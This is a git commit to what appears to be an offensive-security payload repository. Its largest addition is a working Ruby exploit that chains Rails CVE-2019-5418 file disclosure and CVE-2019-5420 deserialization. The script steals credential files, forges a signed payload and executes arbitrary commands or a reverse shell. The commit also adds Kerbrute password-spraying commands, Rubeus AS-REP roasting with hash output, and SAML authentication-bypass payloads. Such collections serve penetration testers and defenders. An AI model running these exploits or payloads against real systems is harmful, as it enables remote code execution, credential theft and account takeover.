SAML exploitation + ASREP roasting + Kerbrute

This commit is contained in:
Swissky 2019-03-24 13:16:23 +01:00
parent 9d3eccef48
commit 5d1b8bca79
6 changed files with 389 additions and 6 deletions

View file

@ -0,0 +1,156 @@
require 'erb'
require "./demo-5.2.1/config/environment"
require "base64"
require 'net/http'
$proxy_addr = '127.0.0.1'
$proxy_port = 8080
$remote = "http://172.18.0.3:3000"
$ressource = "/demo"
puts "\nRails exploit CVE-2019-5418 + CVE-2019-5420 = RCE\n\n"
print "[+] Checking if vulnerable to CVE-2019-5418 => "
uri = URI($remote + $ressource)
req = Net::HTTP::Get.new(uri)
req['Accept'] = "../../../../../../../../../../etc/passwd{{"
res = Net::HTTP.start(uri.hostname, uri.port, $proxy_addr, $proxy_port) {|http|
http.request(req)
}
if res.body.include? "root:x:0:0:root:"
puts "\033[92mOK\033[0m"
else
puts "KO"
abort
end
print "[+] Getting file => credentials.yml.enc => "
path = "../../../../../../../../../../config/credentials.yml.enc{{"
for $i in 0..9
uri = URI($remote + $ressource)
req = Net::HTTP::Get.new(uri)
req['Accept'] = path[3..57]
res = Net::HTTP.start(uri.hostname, uri.port, $proxy_addr, $proxy_port) {|http|
http.request(req)
}
if res.code == "200"
puts "\033[92mOK\033[0m"
File.open("credentials.yml.enc", 'w') { |file| file.write(res.body) }
break
end
path = path[3..57]
$i +=1;
end
print "[+] Getting file => master.key => "
path = "../../../../../../../../../../config/master.key{{"
for $i in 0..9
uri = URI($remote + $ressource)
req = Net::HTTP::Get.new(uri)
req['Accept'] = path[3..57]
res = Net::HTTP.start(uri.hostname, uri.port, $proxy_addr, $proxy_port) {|http|
http.request(req)
}
if res.code == "200"
puts "\033[92mOK\033[0m"
File.open("master.key", 'w') { |file| file.write(res.body) }
break
end
path = path[3..57]
$i +=1;
end
print "[+] Decrypt secret_key_base => "
credentials_config_path = File.join("../", "credentials.yml.enc")
credentials_key_path = File.join("../", "master.key")
ENV["RAILS_MASTER_KEY"] = res.body
credentials = ActiveSupport::EncryptedConfiguration.new(
config_path: Rails.root.join(credentials_config_path),
key_path: Rails.root.join(credentials_key_path),
env_key: "RAILS_MASTER_KEY",
raise_if_missing_key: true
)
if credentials.secret_key_base != nil
puts "\033[92mOK\033[0m"
puts ""
puts "secret_key_base": credentials.secret_key_base
puts ""
end
puts "[+] Getting reflective command (R) or reverse shell (S) => "
loop do
begin
input = [(print 'Select option R or S: '), gets.rstrip][1]
if input == "R"
puts "Reflective command selected"
command = [(print "command (\033[92mreflected\033[0m): "), gets.rstrip][1]
elsif input == "S"
puts "Reverse shell selected"
command = [(print "command (\033[92mnot reflected\033[0m): "), gets.rstrip][1]
else
puts "No option selected"
abort
end
command_b64 = Base64.encode64(command)
print "[+] Generating payload CVE-2019-5420 => "
secret_key_base = credentials.secret_key_base
key_generator = ActiveSupport::CachingKeyGenerator.new(ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000))
secret = key_generator.generate_key("ActiveStorage")
verifier = ActiveSupport::MessageVerifier.new(secret)
if input == "R"
code = "system('bash','-c','" + command + " > /tmp/result.txt')"
else
code = "system('bash','-c','" + command + "')"
end
erb = ERB.allocate
erb.instance_variable_set :@src, code
erb.instance_variable_set :@filename, "1"
erb.instance_variable_set :@lineno, 1
dump_target = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new erb, :result
puts "\033[92mOK\033[0m"
puts ""
url = $remote + "/rails/active_storage/disk/" + verifier.generate(dump_target, purpose: :blob_key) + "/test"
puts url
puts ""
print "[+] Sending request => "
uri = URI(url)
req = Net::HTTP::Get.new(uri)
req['Accept'] = "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"
res = Net::HTTP.start(uri.hostname, uri.port, $proxy_addr, $proxy_port) {|http|
http.request(req)
}
if res.code == "500"
puts "\033[92mOK\033[0m"
else
puts "KO"
abort
end
if input == "R"
print "[+] Getting result of command => "
uri = URI($remote + $ressource)
req = Net::HTTP::Get.new(uri)
req['Accept'] = "../../../../../../../../../../tmp/result.txt{{"
res = Net::HTTP.start(uri.hostname, uri.port, $proxy_addr, $proxy_port) {|http|
http.request(req)
}
if res.code == "200"
puts "\033[92mOK\033[0m\n\n"
puts res.body
puts "\n"
else
puts "KO"
abort
end
end
rescue Exception => e
puts "Exiting..."
abort
end
end

View file

@ -13,6 +13,7 @@
- [jwt_tool](https://github.com/ticarpi/jwt_tool)
- [c-jwt-cracker](https://github.com/brendan-rius/c-jwt-cracker)
- [JOSEPH - JavaScript Object Signing and Encryption Pentesting Helper](https://portswigger.net/bappstore/82d6c60490b540369d6d5d01822bdf61)
## JWT Format
@ -227,4 +228,7 @@ eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMj...Fh7HgQ:secret
- [HITBGSEC CTF 2017 - Pasty (Web) - amon (j.heng)](https://nandynarwhals.org/hitbgsec2017-pasty/)
- [Critical vulnerabilities in JSON Web Token libraries - March 31, 2015 - Tim McLean](https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries//)
- [Learn how to use JSON Web Tokens (JWT) for Authentication - @dwylhq](https://github.com/dwyl/learn-json-web-tokens)
- [Simple JWT hacking - @b1ack_h00d](https://medium.com/@blackhood/simple-jwt-hacking-73870a976750)
- [Simple JWT hacking - @b1ack_h00d](https://medium.com/@blackhood/simple-jwt-hacking-73870a976750)
- [Attacking JWT authentication - Sep 28, 2016 - Sjoerd Langkemper](https://www.sjoerdlangkemper.nl/2016/09/28/attacking-jwt-authentication/)
- [How to Hack a Weak JWT Implementation with a Timing Attack - Jan 7, 2017 - Tamas Polgar](https://hackernoon.com/can-timing-attack-be-a-practical-security-threat-on-jwt-signature-ba3c8340dea9)
- [HACKING JSON WEB TOKENS, FROM ZERO TO HERO WITHOUT EFFORT - Thu Feb 09 2017 - @pdp](https://blog.websecurify.com/2017/02/hacking-json-web-tokens.html)

View file

@ -13,6 +13,7 @@
* [Silver Tickets](#passtheticket-silver-tickets)
* [Trust Tickets](#trust-tickets)
* [Kerberoast](#kerberoast)
* [KRB_AS_REP roasting](#krb_as_rep-roasting)
* [Pass-the-Hash](#pass-the-hash)
* [OverPass-the-Hash (pass the key)](#overpass-the-hash-pass-the-key)
* [Capturing and cracking NTLMv2 hashes](#capturing-and-cracking-ntlmv2-hashes)
@ -20,6 +21,7 @@
* [Dangerous Built-in Groups Usage](#dangerous-built-in-groups-usage)
* [Trust relationship between domains](#trust-relationship-between-domains)
* [PrivExchange attack](#privexchange-attack)
* [Password spraying](#password-spraying)
* [Privilege Escalation](#privilege-escalation)
* [PrivEsc Local Admin - Token Impersonation (RottenPotato)](#privesc-local-admin---token-impersonation-rottenpotato)
* [PrivEsc Local Admin - MS16-032](#privesc-local-admin---ms16-032---microsoft-windows-7--10--2008--2012-r2-x86x64)
@ -74,6 +76,12 @@
pingcastle.exe --healthcheck --server <DOMAIN_CONTROLLER_IP> --user <USERNAME> --password <PASSWORD> --advanced-live --nullsession
```
* [Kerbrute](https://github.com/ropnop/kerbrute)
```powershell
./kerbrute passwordspray -d <DOMAIN> <USERS.TXT> <PASSWORD>
```
## Most common paths to AD compromise
### MS14-068 (Microsoft Kerberos Checksum Validation Vulnerability)
@ -380,6 +388,42 @@ hashcat -m 13100 -a 0 hash.txt crackstation.txt
./john ~/hash.txt --wordlist=rockyou.lst
```
### KRB_AS_REP Roasting
If a domain user does not have Kerberos preauthentication enabled, an AS-REP can be successfully requested for the user, and a component of the structure can be cracked offline a la kerberoasting
```powershell
C:\>git clone https://github.com/GhostPack/Rubeus#asreproast
C:\Rubeus>Rubeus.exe asreproast /user:TestOU3user
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.4
[*] Action: AS-REP roasting
[*] Target User : TestOU3user
[*] Target Domain : testlab.local
[*] SamAccountName : TestOU3user
[*] DistinguishedName : CN=TestOU3user,OU=TestOU3,OU=TestOU2,OU=TestOU1,DC=testlab,DC=local
[*] Using domain controller: testlab.local (192.168.52.100)
[*] Building AS-REQ (w/o preauth) for: 'testlab.local\TestOU3user'
[*] Connecting to 192.168.52.100:88
[*] Sent 169 bytes
[*] Received 1437 bytes
[+] AS-REQ w/o preauth successful!
[*] AS-REP hash:
$krb5asrep$TestOU3user@testlab.local:858B6F645D9F9B57210292E5711E0...(snip)...
```
### Pass-the-Hash
The types of hashes you can use with Pass-The-Hash are NT or NTLM hashes.
@ -498,6 +542,16 @@ Alternatively you can use the Metasploit module
[`use auxiliary/scanner/http/exchange_web_server_pushsubscription`](https://github.com/rapid7/metasploit-framework/pull/11420)
### Password spraying
Password spraying refers to the attack method that takes a large number of usernames and loops them with a single password. Using `kerbrute`, a tool to perform Kerberos pre-auth bruteforcing.
```powershell
root@kali:~$ ./kerbrute_linux_amd64 userenum -d lab.ropnop.com usernames.txt
root@kali:~$ ./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com domain_users.txt Password123
```
## Privilege Escalation
### PrivEsc Local Admin - Token Impersonation (RottenPotato)

Binary file not shown.

After

Width:  |  Height:  |  Size: 8.7 KiB

168
SAML Injection/README.md Normal file
View file

@ -0,0 +1,168 @@
# SAML Injection
> Security Assertion Markup Language (SAML) is an open standard that allows security credentials to be shared by multiple computers across a network. When using SAML-based Single Sign-On (SSO), three distinct parties are involved. There is a user (the so-called principal), an IDentity Provider (IDP), and a cloud application Service Provider (SP). - centrify
## Summary
* [Tools](#tools)
* [Authentication Bypass](#authentication-bypass)
* [Invalid Signature](#invalid-signature)
* [Signature Stripping](#signature-stripping)
* [XML Signature Wrapping Attacks](#xml-signature-wrapping-attacks)
* [XML Comment Handling](#xml-comment-handling)
* [XML External Entity](#xml-external-entity)
## Tools
- [SAML Raider - Burp Extension](https://github.com/SAMLRaider/SAMLRaider)
## Authentication Bypass
A SAML Response should contain the `<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"`.
### Invalid Signature
Signatures which are not signed by a real CA are prone to cloning. Ensure the signature is signed by a real CA. If the certificate is self-signed, you may be able to clone the certificate or create your own self-signed certificate to replace it.
### Signature Stripping
> [...]accepting unsigned SAML assertions is accepting a username without checking the password - @ilektrojohn
The goal is to forge a well formed SAML Assertion without signing it. For some default configurations if the signature section is omitted from a SAML response, then no signature verification is performed.
Example of SAML assertion where `NameID=admin` without signature.
```xml
<?xml version="1.0" encoding="UTF-8"?>
<saml2p:Response xmlns:saml2p="urn:oasis:names:tc:SAML:2.0:protocol" Destination="http://localhost:7001/saml2/sp/acs/post" ID="id39453084082248801717742013" IssueInstant="2018-04-22T10:28:53.593Z" Version="2.0">
<saml2:Issuer xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion" Format="urn:oasis:names:tc:SAML:2.0:nameidformat:entity">REDACTED</saml2:Issuer>
<saml2p:Status xmlns:saml2p="urn:oasis:names:tc:SAML:2.0:protocol">
<saml2p:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success" />
</saml2p:Status>
<saml2:Assertion xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion" ID="id3945308408248426654986295" IssueInstant="2018-04-22T10:28:53.593Z" Version="2.0">
<saml2:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity" xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion">REDACTED</saml2:Issuer>
<saml2:Subject xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion">
<saml2:NameID Format="urn:oasis:names:tc:SAML:1.1:nameidformat:unspecified">admin</saml2:NameID>
<saml2:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
<saml2:SubjectConfirmationData NotOnOrAfter="2018-04-22T10:33:53.593Z" Recipient="http://localhost:7001/saml2/sp/acs/post" />
</saml2:SubjectConfirmation>
</saml2:Subject>
<saml2:Conditions NotBefore="2018-04-22T10:23:53.593Z" NotOnOrAfter="2018-0422T10:33:53.593Z" xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion">
<saml2:AudienceRestriction>
<saml2:Audience>WLS_SP</saml2:Audience>
</saml2:AudienceRestriction>
</saml2:Conditions>
<saml2:AuthnStatement AuthnInstant="2018-04-22T10:28:49.876Z" SessionIndex="id1524392933593.694282512" xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion">
<saml2:AuthnContext>
<saml2:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport</saml2:AuthnContextClassRef>
</saml2:AuthnContext>
</saml2:AuthnStatement>
</saml2:Assertion>
</saml2p:Response>
```
### XML Signature Wrapping Attacks
XML Signature Wrapping (XSW) attack, some implementations check for a valid signature and match it to a valid assertion, but do not check for multiple assertions, multiple signatures, or behave differently depending on the order of assertions.
- XSW1 Applies to SAML Response messages. Add a cloned unsigned copy of the Response after the existing signature.
- XSW2 Applies to SAML Response messages. Add a cloned unsigned copy of the Response before the existing signature.
- XSW3 Applies to SAML Assertion messages. Add a cloned unsigned copy of the Assertion before the existing Assertion.
- XSW4 Applies to SAML Assertion messages. Add a cloned unsigned copy of the Assertion after the existing Assertion.
- XSW5 Applies to SAML Assertion messages. Change a value in the signed copy of the Assertion and adds a copy of the original Assertion with the signature removed at the end of the SAML message.
- XSW6 Applies to SAML Assertion messages. Change a value in the signed copy of the Assertion and adds a copy of the original Assertion with the signature removed after the original signature.
- XSW7 Applies to SAML Assertion messages. Add an “Extensions” block with a cloned unsigned assertion.
- XSW8 Applies to SAML Assertion messages. Add an “Object” block containing a copy of the original assertion with the signature removed.
In the following example, these terms are used.
- FA: Forged Assertion
- LA: Legitimate Assertion
- LAS: Signature of the Legitimate Assertion
```xml
<SAMLResponse>
<FA ID="evil">
<Subject>Attacker</Subject>
</FA>
<LA ID="legitimate">
<Subject>Legitimate User</Subject>
<LAS>
<Reference Reference URI="legitimate">
</Reference>
</LAS>
</LA>
</SAMLResponse>
```
In the Github Enterprise vulnerability, this request would verify and create a sessions for `Attacker` instead of `Legitimate User`, even if `FA` is not signed.
### XML Comment Handling
A threat actor who already has authenticated access into a SSO system can authenticate as another user without that individuals SSO password. This [vulnerability](https://www.bleepstatic.com/images/news/u/986406/attacks/Vulnerabilities/SAML-flaw.png) has multiple CVE in the following libraries and products.
- OneLogin - python-saml - CVE-2017-11427
- OneLogin - ruby-saml - CVE-2017-11428
- Clever - saml2-js - CVE-2017-11429
- OmniAuth-SAML - CVE-2017-11430
- Shibboleth - CVE-2018-0489
- Duo Network Gateway - CVE-2018-7340
Researchers have noticed that if an attacker inserts a comment inside the username field in such a way that it breaks the username, the attacker might gain access to a legitimate user's account.
```xml
<SAMLResponse>
<Issuer>https://idp.com/</Issuer>
<Assertion ID="_id1234">
<Subject>
<NameID>user@user.com<!--XMLCOMMENT-->.evil.com</NameID>
```
Where `user@user.com` is the first part of the username, and `.evil.com` is the second.
### XML External Entity
An alternative exploitation would use `XML entities` to bypass the signature verification, since the content will not change, except during XML parsing.
In the following example:
- `&s;` will resolve to the string `"s"`
- `&f1;` will resolve to the string `"f1"`
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE Response [
<!ENTITY s "s">
<!ENTITY f1 "f1">
]>
<saml2p:Response xmlns:saml2p="urn:oasis:names:tc:SAML:2.0:protocol"
Destination="https://idptestbed/Shibboleth.sso/SAML2/POST"
ID="_04cfe67e596b7449d05755049ba9ec28"
InResponseTo="_dbbb85ce7ff81905a3a7b4484afb3a4b"
IssueInstant="2017-12-08T15:15:56.062Z" Version="2.0">
[...]
<saml2:Attribute FriendlyName="uid"
Name="urn:oid:0.9.2342.19200300.100.1.1"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">
<saml2:AttributeValue>
&s;taf&f1;
</saml2:AttributeValue>
</saml2:Attribute>
[...]
</saml2p:Response>
```
The SAML response is accepted by the service provider. Due to the vulnerability, the service provider application reports "taf" as the value of the "uid" attribute.
## References
- [SAML Burp Extension - ROLAND BISCHOFBERGER - JULY 24, 2015](https://blog.compass-security.com/2015/07/saml-burp-extension/)
- [The road to your codebase is paved with forged assertions - @ilektrojohn - March 13, 2017](http://www.economyofmechanism.com/github-saml)
- [SAML_Security_Cheat_Sheet.md - OWASP](https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/SAML_Security_Cheat_Sheet.md)
- [On Breaking SAML: Be Whoever You Want to Be - Juraj Somorovsky, Andreas Mayer, Jorg Schwenk, Marco Kampmann, and Meiko Jensen](https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91-8-23-12.pdf)
- [Making Headlines: SAML - March 19, 2018 - Torsten George](https://blog.centrify.com/saml/)
- [Vulnerability Note VU#475445 - 2018-02-27 - Carnegie Mellon University](https://www.kb.cert.org/vuls/id/475445/)
- [ORACLE WEBLOGIC - MULTIPLE SAML VULNERABILITIES (CVE-2018-2998/CVE-2018-2933) - Denis Andzakovic - Jul 18, 2018](https://pulsesecurity.co.nz/advisories/WebLogic-SAML-Vulnerabilities)
- [Truncation of SAML Attributes in Shibboleth 2 - 2018-01-15 - redteam-pentesting.de](https://www.redteam-pentesting.de/de/advisories/rt-sa-2017-013/-truncation-of-saml-attributes-in-shibboleth-2)
- [Attacking SSO: Common SAML Vulnerabilities and Ways to Find Them - March 7th, 2017 - Jem Jensen](https://blog.netspi.com/attacking-sso-common-saml-vulnerabilities-ways-find/)

View file

@ -2,17 +2,18 @@
> Vulnerability description - reference
Tools:
- [Tool name - description](https://example.com)
## Summary
* [Something](#something)
- [Tools](#tools)
* [Something](#something)
* [Subentry 1](#sub1)
* [Subentry 2](#sub2)
## Tools
- [Tool 1](https://example.com)
- [Tool 2](https://example.com)
## Something
Quick explanation